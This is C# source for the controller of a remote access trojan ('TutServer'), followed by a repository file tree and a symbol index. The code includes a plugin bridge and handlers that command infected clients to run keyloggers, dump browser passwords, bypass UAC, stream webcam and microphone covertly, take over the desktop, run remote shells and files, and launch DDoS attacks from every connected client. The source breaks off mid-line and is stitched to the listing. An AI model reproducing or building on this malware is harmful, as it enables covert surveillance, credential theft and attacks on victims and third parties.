string[] lines = command.Split('\n'); //Split the command into lines
string headerLine = lines[0]; //Header of ps -aux command
int pidIndex = headerLine.IndexOf("PID"); //The index of the PID column
pidIndex += 2; //Increase with 2, because PIDs start at "D"
int commandIndex = headerLine.IndexOf("COMMAND"); //The index of command (executed file path + args) here used as process name
headerLine = null; //Release the header line
List<string> vProcName = new List<string>(); //List of process names
List<string> vProcId = new List<string>(); //List of process IDs
for (int i = 1; i < lines.Length; i++) //Loop through the lines, skip one because it's the header
{
string line = lines[i]; //The current line
line = line.Replace("\r", String.Empty); //Remove the \r from the line
if (line == "" || line == String.Empty) continue; //If line is empty, then skip it
string strPid = ""; //The current PID
string strProcName = ""; //The current process name
for (int t = pidIndex; t >= 0; t--) //Start reading the PID backwards (from the index of "D")
{
if (line.Length <= t) continue; //If the line is shorter than the index of "D"
char value = line[t]; //The current character
if (char.IsNumber(value)) //If it's a number
{
strPid = value.ToString() + strPid; //Add it to the PID string (notice it's reversed)
}
else //It's not a number
{
break; //We are finished reading the PID
}
}
for (int t = commandIndex; t < line.Length; t++) //Read the command column until the end of the line
{
strProcName += line[t]; //Add it to the process name string
}
vProcName.Add(strProcName); //Add current process name to the list
vProcId.Add(strPid); //Add current process ID to the list
}
const string responsive = "True"; //Applicatioin is responsive (Windows Only)
const string noData = "N/A"; //Constant string for no data
for (int i = 0; i < vProcName.Count; i++) //Go thorugh all the processes
{
ctx.SetprocInfoCallback(vProcName[i], responsive, noData, noData, noData, vProcId[i]); //Add them to the listView
}
vProcName.Clear(); //Release the process name list
vProcId.Clear(); //Release the process IDs list
}
if (command.StartsWith("cmdout|")) //Treminal output received
{
String toAppend = command.Substring(7); //Remove the command header
ctx.Append(toAppend); //Append the command to the terminal window
}
}
/// <summary>
/// Custom command sending for linux clients
/// </summary>
/// <param name="text">The command to send</param>
/// <param name="target">The target client</param>
public void SendCommand(string text, int target)
{
//Add exeception for cmd§ -- since this (§) character doesn't get received correctly by linuxClient
if (text.StartsWith("cmd§")) //If we send cmd commands
{
text = text.Substring(4); //Remove the command header
ctx.Append("user@remoteShell: " + text + Environment.NewLine); //Append the command to the shell window
text = "cmd|" + text; //Create a new command
}
byte[] buffer = Encoding.ASCII.GetBytes(text); //Create the text buffer
Socket s = ctx.GetSocketById(target); //Get the target socket
s.Send(buffer); //Send the command to the socket
}
}
/// <summary>
/// Module for providing plugin support
/// </summary>
public class ScriptHost
{
public class LocalBridgeFunctions : BridgeFunctions
{
public override MessageBoxDelegate ShowMessageBox { get; set; }
public override VoidDelegate StartServer { get; set; }
public override VoidDelegate StopServer { get; set; }
public override VoidDelegate ToggleServer { get; set; }
public override RemoteMessageDelegate ShowRemoteMessageBox { get; set; }
public override StringDelegate PlayFrequency { get; set; }
public override SystemSoundDelegate PlaySystemSound { get; set; }
public override StringDelegate T2s { get; set; }
public override SystemElementDelegate SwitchElementVisibility { get; set; }
public override CdTrayDelegate CdTrayManipulation { get; set; }
public override VoidDelegate ListProcesses { get; set; }
public override StringDelegate KillProcess { get; set; }
public override StartProcessDelegate StartProcess { get; set; }
public override VoidDelegate StartCmd { get; set; }
public override VoidDelegate StopCmd { get; set; }
public override VoidDelegate ToggleCmd { get; set; }
public override StringDelegate SendCmdCommand { get; set; }
public override StringReturnDelegate ReadCmdOutput { get; set; }
public override VoidDelegate ListDrives { get; set; }
public override StringDelegate ChangeDircectory { get; set; }
public override VoidDelegate Up1Dir { get; set; }
public override StringDelegate CopyFile { get; set; }
public override StringDelegate MoveFile { get; set; }
public override StringDelegate PasteFile { get; set; }
public override StringDelegate ExecuteFile { get; set; }
public override String2Delegate UploadFile { get; set; }
public override String2Delegate DownloadFile { get; set; }
public override StringDelegate OpenFileEditor { get; set; }
public override ChangeAttrDelegate ChangeFileAttribute { get; set; }
public override StringDelegate DeleteFile { get; set; }
public override String2Delegate RenameFile { get; set; }
public override String2Delegate CreateFolder { get; set; }
public override String2Delegate CreateFile { get; set; }
public override VoidDelegate StartKeylogger { get; set; }
public override VoidDelegate StopKeylogger { get; set; }
public override VoidDelegate ReadKeylog { get; set; }
public override VoidDelegate ClearKeylog { get; set; }
public override VoidDelegate StartRemoteDesktop { get; set; }
public override VoidDelegate StopRemoteDesktop { get; set; }
public override BoolDelegate ControlRemoteMouse { get; set; }
public override BoolDelegate ControlRemoteKeyboard { get; set; }
public override VoidDelegate StartFullScreen { get; set; }
public override IntDelegate StartAudio { get; set; }
public override VoidDelegate StopAudio { get; set; }
public override VoidDelegate ListAudio { get; set; }
public override IntDelegate StartVideo { get; set; }
public override VoidDelegate ListVideo { get; set; }
public override VoidDelegate StopVideo { get; set; }
public override DDoSTestDelegate ValidateDDoS { get; set; }
public override VoidDelegate StopDDoS { get; set; }
public override DDoSDelegate StartDDoS { get; set; }
public override VoidDelegate ClearList { get; set; }
public override VoidDelegate ListPassword { get; set; }
public override VoidDelegate BypassUAC { get; set; }
public override VoidDelegate StartProxy { get; set; }
public override StringDelegate SaveFile { get; set; }
public override StringDelegate SendRawCommand { get; set; }
public override InputDelegate ShowInputBox { get; set; }
}
/// <summary>
/// The directory of the plugins
/// </summary>
private readonly string dir = "";
/// <summary>
/// List of assemblies for plugin files
/// </summary>
private Dictionary<string, Assembly> scriptDlls = new Dictionary<string, Assembly>();
/// <summary>
/// List of the running plugins
/// </summary>
public List<IPluginMain> runningPlugins = new List<IPluginMain>();
/// <summary>
/// Plugin list
/// </summary>
public Dictionary<string, IPluginMain> ifaceList = new Dictionary<string, IPluginMain>();
/// <summary>
/// Reference to the main form
/// </summary>
Form1 ctx;
/// <summary>
/// Master key for revoking permissions (plugins cannot have this)
/// </summary>
private readonly string masterKey;
/// <summary>
/// Constructor
/// </summary>
/// <param name="rootDir">The directory where the plugins are located</param>
/// <param name="parent">Reference to the main form</param>
public ScriptHost(string rootDir, Form1 parent)
{
dir = rootDir; //Set the root directory
ctx = parent; //Set the reference to the form
masterKey = sCore.Integration.Integrate.GetMasterKey();
}
/// <summary>
/// Load a single plugin dll
/// </summary>
/// <param name="dllName">The filename of the plugin to load</param>
private void LoadDll(string dllName)
{
//if (!scriptDlls.ContainsKey(dllName)) return;
//Assembly curAssembly = Assembly.LoadFrom(dir + "\\" + dllName); //Load the assembly of the dll
Assembly curAssembly = scriptDlls[dllName]; //Get the assembly from the list
IPluginMain current = null; //Declare the plugin main
foreach (Type t in curAssembly.GetTypes()) //Loop through the types in the assembly
{
if (t.GetInterface("IPluginMain") != null) //If the current type is IPluginMain
{
IPluginMain inst = Activator.CreateInstance(t) as IPluginMain; //Retrive the IPluginMain from the dll
current = inst; //Set the current pluginMain
}
}
if (current != null) //If plugin main found
{
ifaceList.Add(dllName, current); //Add the plugin to the interface list
}
}
/// <summary>
/// Execute a single plugin dll
/// </summary>
/// <param name="dllName">The name of the dll to execute</param>
public void ExecuteDll(string dllName)
{
if (!ifaceList.ContainsKey(dllName)) return; //Check if the plugin is loaded
IPluginMain iface = ifaceList[dllName]; //Retrieve the plugin main
iface.Main(); //Call the plugins main method
if (!runningPlugins.Contains(iface)) runningPlugins.Add(iface);
}
/// <summary>
/// Load every plugin in the selected directory
/// </summary>
public void LoadDllFiles()
{
scriptDlls.Clear(); //Clear the list of scriptDlls
ifaceList.Clear(); //Clear the list of plugin interafaces
string[] files = Directory.GetFiles(dir);
for (int i = 0; i < files.Length; i++) //Loop through the plugin files
{
string file = files[i];
if (!file.EndsWith(".dll")) continue; // Not a DLL File
Assembly currentAssembly = Assembly.LoadFrom(new FileInfo(file).FullName); //Get the assembly of the file
scriptDlls.Add(new FileInfo(file).Name, currentAssembly); //Add the assembly to the list
ctx.listBox1.Items.Add(new FileInfo(file).Name); //Add the plugin name to the UI list
}
foreach (string key in scriptDlls.Keys) //Loop through the files
{
LoadDll(key); //Load all the plugins
}
}
/// <summary>
/// Get information about a plugin
/// </summary>
/// <param name="pluginName">The name of the plugin</param>
/// <returns>An array of object filled with the plugin information</returns>
public IPluginMain GetPluginInfo(string pluginName)
{
if (!ifaceList.ContainsKey(pluginName)) return null; //Plugin is not loaded
IPluginMain iface = ifaceList[pluginName]; //Get the interface
return iface; // Return the plugin interface
}
/// <summary>
/// Check if a plugin is running
/// </summary>
/// <param name="pluginName">The name of the plugin to check</param>
/// <returns>True if the plugin is running</returns>
public bool IsPluginRunning(string pluginName)
{
if (runningPlugins.Contains(ifaceList[pluginName])) return true; //Plugin is running
return false; //Plugin is not running
}
/// <summary>
/// Create a function bridge between the R.A.T Server and the plugins
/// </summary>
public void SetupBridge()
{
LocalBridgeFunctions lf = new LocalBridgeFunctions
{
ShowMessageBox = new MessageBoxDelegate(ctx.XMessageBox), //Local messagebox display
StartServer = new VoidDelegate(ctx.XStartServer), //Local server start
StopServer = new VoidDelegate(ctx.XStopServer), //Local server stop
ToggleServer = new VoidDelegate(ctx.XToggleServer), //Local server toggle (start/stop)
ShowRemoteMessageBox = new RemoteMessageDelegate(ctx.XRemoteMessage), //Remote messagebox display
PlayFrequency = new StringDelegate(ctx.XFrequency), //Remote frequency player
PlaySystemSound = new SystemSoundDelegate(ctx.XSystemSound), //Remote system sound player
T2s = new StringDelegate(ctx.XT2s), //Remote Text To Speech generator
SwitchElementVisibility = new SystemElementDelegate(ctx.XElements), //Remote element hide/show
CdTrayManipulation = new CdTrayDelegate(ctx.XCdTray), //Remote CD Tray control
ListProcesses = new VoidDelegate(ctx.XListProcesses), //List remote processes
KillProcess = new StringDelegate(ctx.XKillProcess), //Kill remote processes
StartProcess = new StartProcessDelegate(ctx.XStartProcess), //Start remote processes
StartCmd = new VoidDelegate(ctx.XStartCmd), //Start new remote cmd session
StopCmd = new VoidDelegate(ctx.XStopCmd), //Stop remote cmd session
ToggleCmd = new VoidDelegate(ctx.XToggleCmd), //Toggle remote cmd session (start/stop)
SendCmdCommand = new StringDelegate(ctx.XSendCmdCommand), //Send commands to remote cmd
ReadCmdOutput = new StringReturnDelegate(ctx.XReadCmdOutput), //Read the output of remote cmd
ListDrives = new VoidDelegate(ctx.XListDrives), //List the remote drives
ChangeDircectory = new StringDelegate(ctx.XChangeFolder), //Change the current folder
Up1Dir = new VoidDelegate(ctx.XUp1), //Naviagte UP1 folder
CopyFile = new StringDelegate(ctx.XCopyFile), //Remote file copy
MoveFile = new StringDelegate(ctx.XMoveFile), //Remote file move
PasteFile = new StringDelegate(ctx.XPasteFile), //Remote file paste
ExecuteFile = new StringDelegate(ctx.XExecuteFile), //Remote file execution
UploadFile = new String2Delegate(ctx.XUploadFile), //Remote file upload
DownloadFile = new String2Delegate(ctx.XDownloadFile), //Remote file download
OpenFileEditor = new StringDelegate(ctx.XOpenFileEditor), //Open remote file editor
ChangeFileAttribute = new ChangeAttrDelegate(ctx.XChangeAttribute), //Remote change file attributes
DeleteFile = new StringDelegate(ctx.XDeleteFile), //Remote delete file
RenameFile = new String2Delegate(ctx.XRenameFile), //Rename remote file
CreateFile = new String2Delegate(ctx.XNewFile), //Create new remote file
CreateFolder = new String2Delegate(ctx.XNewDirectory), //Create new remote directory
StartKeylogger = new VoidDelegate(ctx.XStartKeylogger), //Start remote keylogger
StopKeylogger = new VoidDelegate(ctx.XStopKeylogger), //Stop remote keylogger
ReadKeylog = new VoidDelegate(ctx.XReadKeylog), //Read the remote keylog
ClearKeylog = new VoidDelegate(ctx.XClearKeylog), //Clear the remote keylog
StartRemoteDesktop = new VoidDelegate(ctx.XStartRemoteDesktop), //Start remote desktop view
StopRemoteDesktop = new VoidDelegate(ctx.XStopRemoteDesktop), //Stop remote desktop view
StartFullScreen = new VoidDelegate(ctx.XLaunchFullScreen), //Full screen mode remote desktop view
ControlRemoteKeyboard = new BoolDelegate(ctx.XControlRemoteKeyboard), //Enable, Disable remote mouse control
ControlRemoteMouse = new BoolDelegate(ctx.XControlRemoteMouse), //Enable, Disable remote keyboard control
StartAudio = new IntDelegate(ctx.XStartAudio), //Start remote audio stream
StopAudio = new VoidDelegate(ctx.XStopAudio), //Stop remote audio stream
ListAudio = new VoidDelegate(ctx.XListAudio), //List remote audio listener devices
StartVideo = new IntDelegate(ctx.XStartVideo), //Start remote video stream
StopVideo = new VoidDelegate(ctx.XStopVideo), //Stop remote video stream
ListVideo = new VoidDelegate(ctx.XListVideo), //List remote video devices
StartDDoS = new DDoSDelegate(ctx.XStartDDoS), //Start a remote DDoS attack
StopDDoS = new VoidDelegate(ctx.XStopDDoS), //Stop the remote DDoS attack
ValidateDDoS = new DDoSTestDelegate(ctx.XValidateDDoS), //Validate a DDoS attack
ListPassword = new VoidDelegate(ctx.XListPassword), //List remote browser passwords
ClearList = new VoidDelegate(ctx.XClearList), //Clear the password list
BypassUAC = new VoidDelegate(ctx.XBypassUAC), //Try to bypass the UAC
StartProxy = new VoidDelegate(ctx.XLaunchProxy), //Start remote proxy server
SaveFile = new StringDelegate(ctx.XSaveEditorFile), //Save remote file editor
ShowInputBox = new InputDelegate(ctx.XInputBox) //Local show input box
};
sCore.UI.CommonControls.fileManagerMenu = ctx.contextMenuStrip3; //Share the file manager's context menu with the plugin
sCore.UI.CommonControls.processMenu = ctx.contextMenuStrip2; //Share the process manager's context menu with the plugin
sCore.UI.CommonControls.mainTabControl = ctx.tabControl1; //Share the tabControl with the plugin
sCore.UI.ControlManager.SetFormControls(ctx.Controls); //Share every control with the plugin
ctx.lbf = lf;
sCore.Integration.Integrate.SetBridge(ctx.lbf);
}
/// <summary>
/// Send stopping singal to a plugin
/// </summary>
/// <param name="iface">The plugin's interface to kill</param>
public void StopSignalPlugin(IPluginMain iface)
{
iface.OnExit(); //Signal the stop to the plugin
runningPlugins.Remove(iface); //Remove from the running plugins list
sCore.Integration.Integrate.RevokePermissions(masterKey, iface); //Revoke the plugin's permissions
}
}
#endregion
#region Cross Bridge Functions
/// <summary>
/// Show local input box
/// </summary>
/// <param name="title">Title of the input box</param>
/// <param name="message">Message of the input box</param>
/// <returns>The result of the input box</returns>
public Types.InputBoxValue XInputBox(string title, string message)
{
if (InvokeRequired) //Check if we need to invoke
{
return (Types.InputBoxValue) Invoke(lbf.ShowInputBox, new object[] { title, message }); //Invoke and return result
}
string value = ""; //Declare result
DialogResult result = InputBox(title, message, ref value); //Show inpu box and grab dialog result
Types.InputBoxValue inputValue = new Types.InputBoxValue() //Create new result object
{
dialogResult = result,
result = value
};
return inputValue; //Return the result
}
/// <summary>
/// Save a remote edited file
/// </summary>
/// <param name="content">The contents of the file to write</param>
public void XSaveEditorFile(string content)
{
SaveFile(content); //Save remote file
}
/// <summary>
/// Launch the remote proxy server
/// </summary>
public void XLaunchProxy()
{
if (InvokeRequired) //Check if we need to invoke
{
Invoke(lbf.StartProxy); //Invoke
return; //Return
}
button34_Click(null, null); //Call the button click function for proxy start
}
/// <summary>
/// Bypass the UAC
/// </summary>
public void XBypassUAC()
{
SendToTarget("uacbypass"); //Send UAC bypass command
}
/// <summary>
/// List remote browser passwords
/// </summary>
public void XListPassword()
{
SendToTarget("getpw"); //Send command to list passwords
}
/// <summary>
/// Clear the password list
/// </summary>
public void XClearList()
{
if (InvokeRequired) //Check if we need to invoke
{
Invoke(lbf.ClearList); //Invoke
return; //Return
}
button32_Click(null, null); //Click the button for clearing password list
}
/// <summary>
/// Start DDoS Attack
/// </summary>
/// <param name="ddos">The DDoS information object</param>
/// <param name="attackWithAll">Attack with every connected clients</param>
public void XStartDDoS(Types.DDoSTarget ddos, bool attackWithAll)
{
//Start the attack
StartDDoS(ddos.IPAddress, ddos.PortNumber.ToString(), sCore.Utils.Convert.ToStr(ddos.DDoSProtocol), ddos.PacketSize.ToString(), ddos.ThreadCount.ToString(), ddos.Delay.ToString(), attackWithAll);
}
/// <summary>
/// Stop DDoS attack
/// </summary>
public void XStopDDoS()
{
if (InvokeRequired) //Check if we need to invoke
{
Invoke(lbf.StopDDoS); //Invoke
return; //Return
}
button30_Click(null, null); //Click the button for stopping DDoS
}
/// <summary>
/// Validate DDoS target and ports
/// </summary>
/// <param name="ddos">DDoS information object</param>
public void XValidateDDoS(Types.DDoSTarget ddos)
{
if (InvokeRequired) //Check if we need to invoke
{
Invoke(lbf.ValidateDDoS); //Invoke
return; //Return
}
bool result = TestDDoS(ddos.IPAddress, sCore.Utils.Convert.ToStr(ddos.DDoSProtocol)); //Test the DDoS
}
/// <summary>
/// Start streaming remote video
/// </summary>
/// <param name="deviceNumber">The device ID to stream from</param>
public void XStartVideo(int deviceNumber)
{
if (InvokeRequired) //Check if we need to invoke
{
Invoke(lbf.StartVideo); //Invoke
return; //Return
}
if (!WStream) //If video steam is not running
{
String id = deviceNumber.ToString(); //Convert the id to string
String command = "wstream§" + id; //Construct the command
MultiRecv = true; //Set multi recv since this is a surveillance module
WStream = true; //Set the wStream to started
button27.Text = "Stop stream"; //Update button text
SendToTarget(command); //Send the command to the client
}
}
/// <summary>
/// Stop remote video stream
/// </summary>
public void XStopVideo()
{
if (InvokeRequired) //Check if we need to invoke
{
Invoke(lbf.StopVideo); //Invoke
return; //Return
}
if (WStream) //Check if video stream is running
{
SendToTarget("wstop"); //Send the command to stop
if (!RDesktop && !AuStream) //If no remote desktop and no audio stream is running
{
Application.DoEvents(); //Do the events
System.Threading.Thread.Sleep(1500); //Sleep for a while (wait for client to stop sending)
MultiRecv = false; //Set multi recv to false, sicne no surveillance module is running
}
WStream = false; //Disable the wStream
button27.Text = "Start Stream"; //Update the button text
}
}
/// <summary>
/// List video stream devices
/// </summary>
public void XListVideo()
{
SendToTarget("wlist"); //Send the listing command
}
/// <summary>
/// Start remote audio stream
/// </summary>
/// <param name="deviceNumber">The device ID to listen to</param>
public void XStartAudio(int deviceNumber)
{
if (InvokeRequired) //Check if we need to invoke
{
Invoke(lbf.StartAudio); //Invoke
return; //Return
}
if (!AuStream) //If audio is not streaming
{
MultiRecv = true; //Set multiRecv, since it's a surveillance module
AuStream = true; //Enable audio straming mode
astream = new AudioStream(); //Create a new playback object
astream.Init(); //Init the playback
SendToTarget("astream§" + deviceNumber.ToString()); //Send command to start streaming
button25.Text = "Stop Stream"; //Update the button text
}
}
/// <summary>
/// Stop remote audio streaming
/// </summary>
public void XStopAudio()
{
if (InvokeRequired) //Check fi we need to invoke
{
Invoke(lbf.StopAudio); //Invoke
return; //Return
}
if (AuStream) //Check if audio stream is running
{
SendToTarget("astop"); //Stop the client stream
if (!RDesktop && !WStream) //If not remote desktop and no video stream is running
{
Application.DoEvents(); //Do the events
System.Threading.Thread.Sleep(1500); //Wait for the client to stop the stream
MultiRecv = false; //Set multiRecv to false, since no surveillance module is running
}
AuStream = false; //Disable audio streaming
astream.Destroy(); //Release the playback object
astream = null; //Set the playback reference to null
button25.Text = "Start Stream"; //Update the button text
}
}
/// <summary>
/// List audio streaming devices
/// </summary>
public void XListAudio()
{
SendToTarget("alist"); //Send listing command
}
/// <summary>
/// Start remote desktop session
/// </summary>
public void XStartRemoteDesktop()
{
if (!RDesktop) //If remote desktop not started
{
btnStartRemoteScreen_Click(null, null); //Click button for remote desktop start
}
}
/// <summary>
/// Stop remote desktop session
/// </summary>
public void XStopRemoteDesktop()
{
if (InvokeRequired) //If we need to invoke
{
Invoke(lbf.StopRemoteDesktop); //Invoke
return; //Return
}
btnStopRemoteScreen_Click(null, null); //Click button, for remote desktop to stop
}
/// <summary>
/// Control the state of remote mouse
/// </summary>
/// <param name="state">The state of the remote mouse</param>
public void XControlRemoteMouse(bool state)
{
if (InvokeRequired) //If we need to invoke
{
Invoke(lbf.ControlRemoteMouse); //Invoke
return; //Return
}
checkBoxrMouse.Checked = state; //Change the state
checkBoxrMouse_CheckedChanged(null, null); //Call checkbox event
}
/// <summary>
/// Control the state of remote keyboard
/// </summary>
/// <param name="state">State of remote keyboard</param>
public void XControlRemoteKeyboard(bool state)
{
if (InvokeRequired) //If we need to invoke
{
Invoke(lbf.ControlRemoteKeyboard); //Invoke
return; //Return
}
checkBoxrKeyboard.Checked = state; //Change the state
checkBoxrKeyboard_CheckedChanged(null, null); //Call checkbox event
}
/// <summary>
/// Change remote desktop to full screen mode
/// </summary>
public void XLaunchFullScreen()
{
if (InvokeRequired) //If we need to invoke
{
Invoke(lbf.StartFullScreen); //Invoke
return; //Return
}
btnFullRemoteScreen_Click(null, null); //Click button, for remote desktop to switch to full screen
}
/// <summary>
/// Start remote keylogger
/// </summary>
public void XStartKeylogger()
{
SendToTarget("sklog"); //Send command to start keylogger
}
/// <summary>
/// Stop the remote keylogger
/// </summary>
public void XStopKeylogger()
{
SendToTarget("stklog"); //Send command to stop remote keylogger
}
/// <summary>
/// Read the remote keylog
/// </summary>
public void XReadKeylog()
{
SendToTarget("rklog"); //Send command to read remote keylog
}
/// <summary>
/// Clear remote keylog buffer
/// </summary>
public void XClearKeylog()
{
SendToTarget("c
gitextract_r3z1z34n/ ├── .gitattributes ├── .gitignore ├── CODE_OF_CONDUCT.md ├── CONTRIBUTING.md ├── LICENSE ├── README.md ├── TutServer/ │ ├── App.config │ ├── Edit.Designer.cs │ ├── Edit.cs │ ├── Edit.resx │ ├── Form1.Designer.cs │ ├── Form1.cs │ ├── Form1.resx │ ├── Program.cs │ ├── Properties/ │ │ ├── AssemblyInfo.cs │ │ ├── Resources.Designer.cs │ │ ├── Resources.resx │ │ ├── Settings.Designer.cs │ │ └── Settings.settings │ ├── RDesktop.Designer.cs │ ├── RDesktop.cs │ ├── RDesktop.resx │ ├── TutServer.csproj │ ├── app.manifest │ ├── bin/ │ │ └── Debug/ │ │ └── NAudio.xml │ ├── remotePipe.Designer.cs │ ├── remotePipe.cs │ └── remotePipe.resx ├── TutServer.sln └── TutServer.v12.suo.doc
SYMBOL INDEX (277 symbols across 11 files)
FILE: TutServer/Edit.Designer.cs
class Edit (line 3) | partial class Edit
method Dispose (line 14) | protected override void Dispose(bool disposing)
method InitializeComponent (line 29) | private void InitializeComponent()
FILE: TutServer/Edit.cs
class Edit (line 14) | public partial class Edit : Form
method Edit (line 36) | public Edit(String textFile, Form1 parent)
method Edit_Shown (line 48) | private void Edit_Shown(object sender, EventArgs e)
method checkBox1_CheckedChanged (line 61) | private void checkBox1_CheckedChanged(object sender, EventArgs e)
method button7_Click (line 72) | private void button7_Click(object sender, EventArgs e)
method button6_Click (line 82) | private void button6_Click(object sender, EventArgs e)
method button5_Click (line 107) | private void button5_Click(object sender, EventArgs e)
method button4_Click (line 132) | private void button4_Click(object sender, EventArgs e)
method button3_Click (line 142) | private void button3_Click(object sender, EventArgs e)
method button2_Click (line 152) | private void button2_Click(object sender, EventArgs e)
method button1_Click (line 162) | private void button1_Click(object sender, EventArgs e)
method Edit_FormClosing (line 172) | private void Edit_FormClosing(object sender, FormClosingEventArgs e)
FILE: TutServer/Form1.Designer.cs
class Form1 (line 3) | partial class Form1
method Dispose (line 14) | protected override void Dispose(bool disposing)
method InitializeComponent (line 29) | private void InitializeComponent()
FILE: TutServer/Form1.cs
class Form1 (line 20) | public partial class Form1 : Form //Our form
class LinuxClientManager (line 344) | public class LinuxClientManager
method LinuxClientManager (line 359) | public LinuxClientManager(Form1 context)
method AddAssociation (line 368) | public void AddAssociation(int clientID)
method RemoveAssociation (line 379) | public void RemoveAssociation(int clientID)
method ResetAssociation (line 388) | public void ResetAssociation()
method IsLinuxClient (line 398) | public bool IsLinuxClient(Socket s)
method IsLinuxClient (line 409) | public bool IsLinuxClient(int clientID)
method RunCustomCommands (line 423) | public void RunCustomCommands(byte[] buffer)
method SendCommand (line 494) | public void SendCommand(string text, int target)
class ScriptHost (line 514) | public class ScriptHost
class LocalBridgeFunctions (line 516) | public class LocalBridgeFunctions : BridgeFunctions
method ScriptHost (line 608) | public ScriptHost(string rootDir, Form1 parent)
method LoadDll (line 619) | private void LoadDll(string dllName)
method ExecuteDll (line 644) | public void ExecuteDll(string dllName)
method LoadDllFiles (line 655) | public void LoadDllFiles()
method GetPluginInfo (line 680) | public IPluginMain GetPluginInfo(string pluginName)
method IsPluginRunning (line 692) | public bool IsPluginRunning(string pluginName)
method SetupBridge (line 701) | public void SetupBridge()
method StopSignalPlugin (line 776) | public void StopSignalPlugin(IPluginMain iface)
method XInputBox (line 794) | public Types.InputBoxValue XInputBox(string title, string message)
method XSaveEditorFile (line 816) | public void XSaveEditorFile(string content)
method XLaunchProxy (line 824) | public void XLaunchProxy()
method XBypassUAC (line 838) | public void XBypassUAC()
method XListPassword (line 846) | public void XListPassword()
method XClearList (line 854) | public void XClearList()
method XStartDDoS (line 870) | public void XStartDDoS(Types.DDoSTarget ddos, bool attackWithAll)
method XStopDDoS (line 879) | public void XStopDDoS()
method XValidateDDoS (line 894) | public void XValidateDDoS(Types.DDoSTarget ddos)
method XStartVideo (line 909) | public void XStartVideo(int deviceNumber)
method XStopVideo (line 931) | public void XStopVideo()
method XListVideo (line 957) | public void XListVideo()
method XStartAudio (line 966) | public void XStartAudio(int deviceNumber)
method XStopAudio (line 988) | public void XStopAudio()
method XListAudio (line 1015) | public void XListAudio()
method XStartRemoteDesktop (line 1023) | public void XStartRemoteDesktop()
method XStopRemoteDesktop (line 1034) | public void XStopRemoteDesktop()
method XControlRemoteMouse (line 1049) | public void XControlRemoteMouse(bool state)
method XControlRemoteKeyboard (line 1065) | public void XControlRemoteKeyboard(bool state)
method XLaunchFullScreen (line 1080) | public void XLaunchFullScreen()
method XStartKeylogger (line 1094) | public void XStartKeylogger()
method XStopKeylogger (line 1102) | public void XStopKeylogger()
method XReadKeylog (line 1110) | public void XReadKeylog()
method XClearKeylog (line 1118) | public void XClearKeylog()
method XListDrives (line 1126) | public void XListDrives()
method XChangeFolder (line 1135) | public void XChangeFolder(string folderName)
method XUp1 (line 1151) | public void XUp1()
method XCopyFile (line 1160) | public void XCopyFile(string fileName)
method XMoveFile (line 1170) | public void XMoveFile(string fileName)
method XPasteFile (line 1180) | public void XPasteFile(string targetDirectory)
method XExecuteFile (line 1189) | public void XExecuteFile(string targetFile)
method XUploadFile (line 1199) | public void XUploadFile(string dir, string file)
method XDownloadFile (line 1212) | public void XDownloadFile(string targetFile, string remoteFile)
method XOpenFileEditor (line 1222) | public void XOpenFileEditor(string remoteFile)
method XChangeAttribute (line 1233) | public void XChangeAttribute(string remoteFile, Types.Visibility visib...
method XDeleteFile (line 1243) | public void XDeleteFile(string remoteFile)
method XRenameFile (line 1260) | public void XRenameFile(string remoteFile, string newName)
method XNewDirectory (line 1270) | public void XNewDirectory(string targetDirectory, string name)
method XNewFile (line 1287) | public void XNewFile(string targetDirectory, string name)
method XMessageBox (line 1307) | public DialogResult XMessageBox(string text, string title, MessageBoxB...
method XStartServer (line 1320) | public void XStartServer()
method XStopServer (line 1333) | public void XStopServer()
method XToggleServer (line 1346) | public void XToggleServer()
method XRemoteMessage (line 1364) | public void XRemoteMessage(string text, string title, Types.RemoteMess...
method XFrequency (line 1374) | public void XFrequency(string frequency)
method XSystemSound (line 1383) | public void XSystemSound(Types.SystemSounds sound)
method XT2s (line 1393) | public void XT2s(string text)
method XElements (line 1404) | public void XElements(Types.SystemElements element, Types.Visibility v...
method XCdTray (line 1416) | public void XCdTray(Types.CdTray cdState)
method XListProcesses (line 1425) | public void XListProcesses()
method XKillProcess (line 1440) | public void XKillProcess(string processId)
method XStartProcess (line 1455) | public void XStartProcess(string processName, Types.Visibility visibil...
method XStartCmd (line 1473) | public void XStartCmd()
method XStopCmd (line 1489) | public void XStopCmd()
method XToggleCmd (line 1506) | public void XToggleCmd()
method XSendCmdCommand (line 1520) | public void XSendCmdCommand(string command)
method XReadCmdOutput (line 1529) | public string XReadCmdOutput()
method Form1 (line 1546) | public Form1()
method ScreenFPS (line 1555) | public void ScreenFPS()
method RemovePipe (line 1576) | public void RemovePipe(RemotePipe obj, bool remote = true)
method StartDDoS (line 1610) | private void StartDDoS(string ip, string port, string protocol, string...
method TestDDoS (line 1645) | private bool TestDDoS(string ip, string port)
method Form1_FormClosing (line 1716) | private void Form1_FormClosing(object sender, FormClosingEventArgs e)
method SaveFile (line 1734) | public void SaveFile(String content)
method InputBox (line 1748) | public DialogResult InputBox(string title, string promptText, ref stri...
method RefreshFiles (line 1794) | private void RefreshFiles()
method SendCommand (line 1808) | private void SendCommand(string command, int targetClient)
method SendToTarget (line 1855) | public void SendToTarget(string command)
method SendBytesToTarget (line 1864) | private void SendBytesToTarget(byte[] data)
method SendCommand (line 1874) | private void SendCommand(byte[] data, int targetClient)
method Encrypt (line 1885) | public string Encrypt(string clearText)
method Decrypt (line 1913) | public string Decrypt(string cipherText)
type ClientObject (line 1952) | struct ClientObject
method GetSocketById (line 1963) | public Socket GetSocketById(int id)
method Form1_Shown (line 1974) | private void Form1_Shown(object sender, EventArgs e)
method SetupServer (line 2029) | private void SetupServer()
method CloseAllSockets (line 2043) | private void CloseAllSockets()
method AcceptCallback (line 2076) | private void AcceptCallback(IAsyncResult AR)
method DismissUpdate (line 2104) | private void DismissUpdate(object sender, EventArgs e)
method GetSocket (line 2118) | private int GetSocket(Socket socket)
method ReceiveCallback (line 2138) | private void ReceiveCallback(IAsyncResult AR)
method SetImage (line 2675) | private void SetImage(Bitmap image)
method SetWebCam (line 2742) | private void SetWebCam(Bitmap image)
method AddlvClientCallback (line 2781) | private void AddlvClientCallback(String clientid)
method RestartServer (line 2804) | private void RestartServer(int id)
method SetControlText (line 2839) | private void SetControlText(Control control, string text)
method HideControl (line 2861) | private void HideControl(Control control)
method UpdateProgress (line 2885) | private void UpdateProgress(ProgressBar pb, int progress)
method ClosePipe (line 2907) | private void ClosePipe(RemotePipe rp)
method EnableButton (line 2931) | private void EnableButton(Button button, bool state)
method CheckLinux (line 2947) | private void CheckLinux(object data)
method SortList (line 2978) | private void SortList(ListView lv)
method ShowError (line 2999) | private void ShowError()
method SetErrorText (line 3021) | private void SetErrorText(string errorText)
